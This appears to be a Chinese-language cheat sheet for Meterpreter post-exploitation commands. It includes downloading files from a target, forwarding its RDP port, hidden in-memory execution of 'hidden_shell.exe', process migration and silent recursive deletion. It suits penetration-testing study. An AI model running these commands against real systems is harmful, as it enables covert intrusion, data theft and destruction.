基本命令
1.background：将meterpreter终端隐藏在后台（快捷键ctrl+z） 2.sessions：查看已经成功获得的会话，如果想继续与某会话交互，可以使用sessions -i 命令. 3.quit：直接关闭当前的meterpreter会话，返回MSF终端. 4.shell：获取目标系统的控制台shell. 5.irb：在meterpreter会话与ruby终端交互.
文件系统命令
1.cat：查看文件内容. 2.getwd：获得目标机器上当前的工作目录，getlwd，这个命令可以获得当前系统的工作目录. 3.upload：可以上传文件或文件夹到目标机器上;upload 要上传的文件 C:\Users\buzz\Desktop 4.download：从目标机器上下载文件或文件夹，注意windows路径要用双斜杠进行转义. download C:\\test.txt /root/home/test 5. edit：调用vi编辑器，对目标机器上的文件进行编辑;edit c:\\windows\\system32\\drivers\\etc\\hosts 6. search：可通过search -h查看帮助信息,参数-d指定搜索的起始目录或驱动，如果为空，将进行全盘搜索；参数-f指定搜索的文件或部分文件名，支持星号(*)匹配；参数-r递归搜索子目录. search -d c:\\windows -f *.txt 7.rm：删除目标机器的文件. 8.rmdir /s/q c:\\test：进入shell后使用此命令可以删除目录下的所有文件和文件夹，/s表示所有子目录和文件/q表示安静模式，不显示yes or no.
网络命令
1.ipconfig：查看目标机器网络接口信息 2.portfwd：它是meterpreter自带的端口转发器，用于把目标机器的端口转发到本地端口；假设目标机开放了3389端口，使用如下命令将其转发到本地3456端口：portfwd add -l 3456 -p 3389 -r 192.168.88.110 3.rdesktop -u 用户名 -p 密码 ip:端口 连接开启远程桌面的windows系统. 4.route：显示目标机器的路由信息.
系统命令
1.ps：用于获得目标主机上正在运行的进程信息.
2.migrate pid：将Meterpreter会话从一个进程迁移到另一个进程的内存空间中，可以配合ps -ef |grep explorer.exe
3.execute：在目标机器上执行文件. execute -H -i -f cmd.exe 直接与cmd进行交互. 参数-H 表示隐藏执行 -i 表示直接与cmd交互.
另外execute命令的-m参数支持直接从内存中执行攻击者的可执行文件. execute -H -m -d regedit.exe -f hidden_shell.exe
具体参数介绍：
Executes a command on the remote machine.
OPTIONS:
-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token
4.getpid：获得当前会话所在进程的PID值.
5.kill：用于终结指定的PID进程.
6.getuid：用于获得运行meterpreter会话的用户名，从而查看当前会话具有的权限.
7.sysinfo：用于得到目标系统的一些信息，例如机器名，操作系统等.
8.shutdown：用于关闭机器，meterpreter会话会断开.